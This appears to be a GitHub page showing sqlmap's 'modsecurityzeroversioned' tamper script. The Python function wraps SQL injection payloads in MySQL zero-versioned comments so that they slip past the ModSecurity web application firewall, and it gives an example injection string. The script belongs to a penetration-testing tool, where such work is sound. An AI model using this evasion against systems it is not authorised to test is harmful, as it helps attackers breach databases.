FilesExpand file tree

 master

/

modsecurityzeroversioned.py

Copy path

Blame

More file actions

Blame

More file actions

Latest commit

 

History

History

History

45 lines (33 loc) · 1008 Bytes

 master

/

modsecurityzeroversioned.py

Copy path

Top

File metadata and controls

• Code
• Blame

45 lines (33 loc) · 1008 Bytes

Raw

Copy raw file

Download raw file

Open symbols panel

Edit and raw actions

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

#!/usr/bin/env python

"""

Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)

See the file 'doc/COPYING' for copying permission

"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHER

def dependencies():

pass

def tamper(payload, headers):

"""

Embraces complete query with zero-versioned comment

Example:

* Input: 1 AND 2>1--

* Output: 1 /*!00000AND 2>1*/--

Requirement:

* MySQL

Tested against:

* MySQL 5.0

Notes:

* Useful to bypass ModSecurity WAF/IDS

"""

retVal = payload

if payload:

postfix = ''

for comment in ('#', '--', '/*'):

if comment in payload:

postfix = payload[payload.find(comment):]

payload = payload[:payload.find(comment)]

break

if ' ' in payload:

retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix)

return retVal, headers